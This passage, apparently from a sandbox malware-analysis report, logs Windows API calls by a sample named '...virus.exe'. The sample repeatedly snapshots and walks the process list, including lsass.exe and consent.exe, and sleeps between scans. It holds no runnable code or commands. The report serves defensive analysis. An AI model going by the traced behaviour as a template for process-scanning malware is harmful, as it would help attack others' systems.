lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.119] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0185.119] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0185.120] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0185.120] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0185.121] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0185.121] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0185.122] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0185.122] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0185.123] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0185.123] CloseHandle (hObject=0x1fc) returned 1 [0185.123] Sleep (dwMilliseconds=0x1f4) [0185.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0185.742] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.743] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0185.743] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0185.744] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.744] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0185.745] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.745] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0185.746] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0185.746] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0185.747] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0185.747] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.747] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.748] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.748] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.749] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.749] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0185.750] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.750] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.751] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0185.751] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0185.751] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0185.752] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0185.752] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0185.753] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.753] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0185.754] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0185.754] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0185.754] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0185.755] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0185.756] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0185.756] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0185.757] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0185.757] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0185.758] CloseHandle (hObject=0x1f8) returned 1 [0185.758] Sleep (dwMilliseconds=0x1f4) [0186.365] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0186.370] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.370] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0186.371] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0186.371] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.371] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0186.372] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.372] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0186.372] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0186.373] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0186.373] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0186.373] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.374] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.374] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.374] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.375] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.375] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0186.375] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.376] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.376] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0186.376] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0186.377] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0186.377] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0186.377] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0186.378] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.378] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0186.378] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0186.379] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0186.379] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0186.380] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0186.380] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0186.380] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0186.381] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0186.381] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0186.381] CloseHandle (hObject=0x1e0) returned 1 [0186.381] Sleep (dwMilliseconds=0x1f4) [0186.971] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0186.973] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.973] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0186.973] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0186.974] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.974] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0186.975] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, 